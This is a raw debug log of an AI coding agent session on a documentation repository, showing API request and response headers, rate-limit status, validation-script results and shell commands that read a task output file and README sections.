{\n[2026-09-29T07:58:26.686Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"message\": {\n[2026-09-29T07:58:26.686Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"content\": [\n[2026-09-29T07:58:26.686Z] [INFO]       {\n[2026-09-29T07:58:26.686Z] [INFO]         \"tool_use_id\": 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Output is being written to: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bdpybtf2y.output. You will be notified when it completes. To check interim output, use Read on that file path.\\nSession cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\",\n[2026-09-29T07:58:26.686Z] [INFO]         \"is_error\": false\n[2026-09-29T07:58:26.686Z] [INFO]       }\n[2026-09-29T07:58:26.686Z] [INFO]     ]\n[2026-09-29T07:58:26.686Z] [INFO]   },\n[2026-09-29T07:58:26.686Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:58:26.686Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"uuid\": \"ccb46e29-3994-4bf9-81cb-a67bdc5e07e2\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"timestamp\": \"2026-09-29T07:58:26.680Z\",\n[2026-09-29T07:58:26.686Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:58:26.686Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:58:26.686Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:58:26.686Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:58:26.686Z] [INFO]     \"backgroundTaskId\": \"bdpybtf2y\",\n[2026-09-29T07:58:26.686Z] [INFO]     \"timedOutAfterMs\": 120000,\n[2026-09-29T07:58:26.686Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T07:58:26.686Z] [INFO]   }\n[2026-09-29T07:58:26.686Z] [INFO] }\n[2026-09-29T07:58:26.769Z] [STDOUT] [log_79163c] sending request {\n[2026-09-29T07:58:26.775Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:58:26.780Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:58:26.785Z] [STDOUT]   options: {\n[2026-09-29T07:58:26.788Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:58:26.792Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:58:26.794Z] [STDOUT]     body: {\n[2026-09-29T07:58:26.797Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:58:26.799Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:58:26.801Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:58:26.804Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:58:26.806Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:58:26.808Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:58:26.810Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:58:26.811Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:58:26.813Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:58:26.817Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:58:26.821Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:58:26.826Z] [STDOUT]       stream: true,\n[2026-09-29T07:58:26.832Z] [STDOUT]     },\n[2026-09-29T07:58:26.835Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:58:26.841Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:58:26.844Z] [STDOUT]       aborted: false,\n[2026-09-29T07:58:26.845Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:58:26.847Z] [STDOUT]       onabort: null,\n[2026-09-29T07:58:26.849Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:58:26.851Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:58:26.853Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:58:26.855Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:58:26.858Z] [STDOUT]     },\n[2026-09-29T07:58:26.861Z] [STDOUT]     stream: true,\n[2026-09-29T07:58:26.864Z] [STDOUT]   },\n[2026-09-29T07:58:26.867Z] [STDOUT]   headers: {\n[2026-09-29T07:58:26.871Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:58:26.875Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:58:26.879Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:58:26.882Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:58:26.886Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:58:26.889Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:58:26.892Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:58:26.896Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:58:26.899Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:58:26.902Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=120515\",\n[2026-09-29T07:58:26.909Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:58:26.914Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:58:26.929Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:58:26.932Z] [STDOUT]     \"x-client-request-id\": \"62d4f645-c18b-4cdd-9b3f-32f92b2cb2e9\",\n[2026-09-29T07:58:26.938Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:58:26.947Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:58:26.950Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:58:26.955Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:58:26.960Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:58:26.964Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:58:26.968Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:58:26.974Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:58:26.978Z] [STDOUT]   },\n[2026-09-29T07:58:26.985Z] [STDOUT] }\n[2026-09-29T07:58:27.856Z] [STDOUT] [log_79163c, request-id: \"req_011CfXNkQHrQt9DNKMqtLsBk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1089ms\n[2026-09-29T07:58:27.860Z] [STDOUT] [log_79163c] response start {\n[2026-09-29T07:58:27.864Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:58:27.866Z] [STDOUT]   status: 200,\n[2026-09-29T07:58:27.869Z] [STDOUT]   headers: {\n[2026-09-29T07:58:27.872Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:58:27.875Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:58:27.879Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:58:27.884Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.43\",\n[2026-09-29T07:58:27.888Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:58:27.892Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:58:27.895Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:58:27.898Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:58:27.901Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:58:27.904Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:58:27.907Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": 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charset=utf-8\",\n[2026-09-29T07:58:27.964Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:58:27 GMT\",\n[2026-09-29T07:58:27.966Z] [STDOUT]     \"request-id\": \"req_011CfXNkQHrQt9DNKMqtLsBk\",\n[2026-09-29T07:58:27.971Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:58:27.976Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:58:27.982Z] [STDOUT]     traceresponse: \"00-c30d31fed55797bfce0eab9bc4bd13d8-dc3c724ea40c6e16-01\",\n[2026-09-29T07:58:27.988Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:58:27.991Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:58:27.996Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:58:28.000Z] [STDOUT]   },\n[2026-09-29T07:58:28.004Z] [STDOUT]   durationMs: 1089,\n[2026-09-29T07:58:28.011Z] [STDOUT] }\n[2026-09-29T07:58:28.017Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:58:28.020Z] [STDOUT]   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\"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:58:28.066Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:58:28.071Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.43\",\n[2026-09-29T07:58:28.076Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:58:28.079Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:58:28.085Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:58:28.088Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:58:28.091Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:58:28.094Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:58:28.096Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:58:28.098Z] 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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:58:28.155Z] [STDOUT]   status: 200,\n[2026-09-29T07:58:28.160Z] [STDOUT]   body: X {\n[2026-09-29T07:58:28.164Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:58:28.168Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:58:28.170Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:58:28.172Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:58:28.179Z] [STDOUT]     },\n[2026-09-29T07:58:28.190Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:58:28.193Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:58:28.200Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:58:28.208Z] [STDOUT]   },\n[2026-09-29T07:58:28.223Z] [STDOUT]   durationMs: 1091,\n[2026-09-29T07:58:28.232Z] [STDOUT] }\n[2026-09-29T07:58:28.238Z] [INFO] {\n[2026-09-29T07:58:28.238Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:58:28.238Z] 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    \"content\": \" .gitkeep | 1 +\\n 1 file changed, 1 insertion(+)\\nPASS ./tools/validate-frontmatter.sh .\\nPASS ./tools/validate-file-naming.sh\\nPASS ./tools/validate-repository-structure.sh\\nPASS ./tools/validate-rrp-links.sh\\nPASS python3 tools/generate-manifest.py --check\\n27:## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n43:## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n117:## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n127:## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n140:## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n157:## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\",\n[2026-09-29T07:59:35.303Z] [INFO]         \"is_error\": false\n[2026-09-29T07:59:35.303Z] [INFO]       }\n[2026-09-29T07:59:35.303Z] [INFO]     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      }\n[2026-09-29T07:59:35.303Z] [INFO]       ],\n[2026-09-29T07:59:35.303Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:59:35.303Z] [INFO]       \"changedFiles\": [\n[2026-09-29T07:59:35.303Z] [INFO]         \"/tmp/gh-issue-solver-1790667776920/mkdocs.yml\"\n[2026-09-29T07:59:35.303Z] [INFO]       ]\n[2026-09-29T07:59:35.303Z] [INFO]     }\n[2026-09-29T07:59:35.303Z] [INFO]   }\n[2026-09-29T07:59:35.303Z] [INFO] }\n[2026-09-29T07:59:35.454Z] [STDOUT] [log_176642] sending request {\n[2026-09-29T07:59:35.457Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:59:35.461Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:35.466Z] [STDOUT]   options: {\n[2026-09-29T07:59:35.472Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:59:35.478Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:59:35.480Z] [STDOUT]     body: {\n[2026-09-29T07:59:35.485Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:59:35.489Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:59:35.494Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:59:35.498Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:59:35.501Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:59:35.503Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:59:35.507Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:59:35.510Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:59:35.512Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:59:35.514Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:59:35.519Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:59:35.521Z] [STDOUT]       stream: true,\n[2026-09-29T07:59:35.522Z] [STDOUT]     },\n[2026-09-29T07:59:35.524Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:59:35.529Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:59:35.531Z] [STDOUT]       aborted: false,\n[2026-09-29T07:59:35.533Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:59:35.535Z] [STDOUT]       onabort: null,\n[2026-09-29T07:59:35.538Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:59:35.540Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:59:35.543Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:59:35.546Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:59:35.550Z] [STDOUT]     },\n[2026-09-29T07:59:35.552Z] [STDOUT]     stream: true,\n[2026-09-29T07:59:35.556Z] [STDOUT]   },\n[2026-09-29T07:59:35.558Z] [STDOUT]   headers: {\n[2026-09-29T07:59:35.560Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:59:35.563Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:59:35.568Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:59:35.571Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:59:35.577Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:59:35.579Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:59:35.581Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:59:35.583Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:59:35.592Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:59:35.596Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=65178\",\n[2026-09-29T07:59:35.598Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:59:35.600Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:59:35.602Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:59:35.606Z] [STDOUT]     \"x-client-request-id\": \"160a49e0-5773-4c89-99f2-5ab2a100d200\",\n[2026-09-29T07:59:35.614Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:59:35.619Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:59:35.622Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:59:35.624Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:59:35.626Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:59:35.628Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:59:35.632Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:59:35.634Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:59:35.637Z] [STDOUT]   },\n[2026-09-29T07:59:35.639Z] [STDOUT] }\n[2026-09-29T07:59:36.441Z] [STDOUT] [log_176642, request-id: \"req_011CfXNqTt3fa5nkc5oHhA2p\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 994ms\n[2026-09-29T07:59:36.444Z] [STDOUT] [log_176642] response start {\n[2026-09-29T07:59:36.448Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:36.450Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:36.452Z] [STDOUT]   headers: {\n[2026-09-29T07:59:36.455Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:36.457Z] [STDOUT]     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\"rejected\",\n[2026-09-29T07:59:36.495Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:36.497Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:36.499Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:36.502Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:36.505Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:36.507Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:36.508Z] [STDOUT]     \"cf-ray\": \"a42973069a9a5d90-FRA\",\n[2026-09-29T07:59:36.512Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:59:36.514Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:36.516Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:36.520Z] [STDOUT]     \"content-type\": \"text/event-stream; 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\"date\": \"Tue, 29 Sep 2026 07:59:36 GMT\",\n[2026-09-29T07:59:36.556Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:59:36.561Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:59:36.563Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:59:36.565Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:59:36.567Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:59:36.569Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:59:36.571Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:59:36.573Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:59:36.575Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:59:36.576Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:59:36.579Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:59:36.581Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:59:36.582Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.44\",\n[2026-09-29T07:59:36.586Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:59:36.588Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:59:36.593Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:59:36.595Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:59:36.597Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:59:36.599Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:59:36.604Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T07:59:36.606Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:59:36.610Z] [STDOUT]   \"request-id\": \"req_011CfXNqTt3fa5nkc5oHhA2p\",\n[2026-09-29T07:59:36.615Z] [STDOUT]   \"traceresponse\": \"00-2db28e39ed8c1ac47532ba47c8db34b8-1477a3f787bef8ba-01\",\n[2026-09-29T07:59:36.620Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:59:36.622Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:59:36.625Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:59:36.626Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:59:36.628Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:59:36.630Z] [STDOUT]   \"cf-ray\": \"a42973069a9a5d90-FRA\",\n[2026-09-29T07:59:36.632Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:59:36.635Z] [STDOUT] [log_176642] response parsed {\n[2026-09-29T07:59:36.637Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:59:36.641Z] [STDOUT]   status: 200,\n[2026-09-29T07:59:36.643Z] [STDOUT]   body: X {\n[2026-09-29T07:59:36.645Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:59:36.647Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:59:36.651Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:59:36.653Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:59:36.655Z] [STDOUT]     },\n[2026-09-29T07:59:36.657Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:59:36.659Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:59:36.661Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:59:36.662Z] [STDOUT]   },\n[2026-09-29T07:59:36.664Z] [STDOUT]   durationMs: 996,\n[2026-09-29T07:59:36.666Z] [STDOUT] }\n[2026-09-29T07:59:37.894Z] [INFO] {\n[2026-09-29T07:59:37.894Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:59:37.894Z] [INFO] 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\"request_id\": \"req_011CfXNqTt3fa5nkc5oHhA2p\",\n[2026-09-29T07:59:37.894Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:59:37.894Z] [INFO]     \"toolu_01MV1DksUpiQNrbdnnR6A9cE\": {\n[2026-09-29T07:59:37.894Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bdpybtf2y.output; sed -n 117,160p projects/ba-ai-process/README.md\",\n[2026-09-29T07:59:37.894Z] [INFO]       \"description\": \"Show test results and README sections\"\n[2026-09-29T07:59:37.894Z] [INFO]     }\n[2026-09-29T07:59:37.894Z] [INFO]   }\n[2026-09-29T07:59:37.894Z] [INFO] }\n[2026-09-29T07:59:37.954Z] [INFO] {\n[2026-09-29T07:59:37.954Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:59:37.954Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:59:37.954Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:59:37.954Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:59:37.954Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:59:37.954Z] [INFO]     \"utilization\": 0.78,\n[2026-09-29T07:59:37.954Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:59:37.954Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:59:37.954Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:59:37.954Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:59:37.954Z] [INFO]         \"utilization\": 0.44,\n[2026-09-29T07:59:37.954Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:59:37.954Z] [INFO]       },\n[2026-09-29T07:59:37.954Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:59:37.954Z] [INFO]         \"utilization\": 0.78,\n[2026-09-29T07:59:37.954Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:59:37.954Z] [INFO]       }\n[2026-09-29T07:59:37.954Z] [INFO]     }\n[2026-09-29T07:59:37.954Z] [INFO]   },\n[2026-09-29T07:59:37.954Z] [INFO]   \"uuid\": \"6dafc44f-435d-4e2c-b653-5cec87f70a2f\",\n[2026-09-29T07:59:37.954Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:59:37.954Z] [INFO] }\n[2026-09-29T07:59:39.814Z] [INFO] {\n[2026-09-29T07:59:39.814Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:59:39.814Z] [INFO]   \"message\": {\n[2026-09-29T07:59:39.814Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:59:39.814Z] [INFO]     \"content\": [\n[2026-09-29T07:59:39.814Z] [INFO]       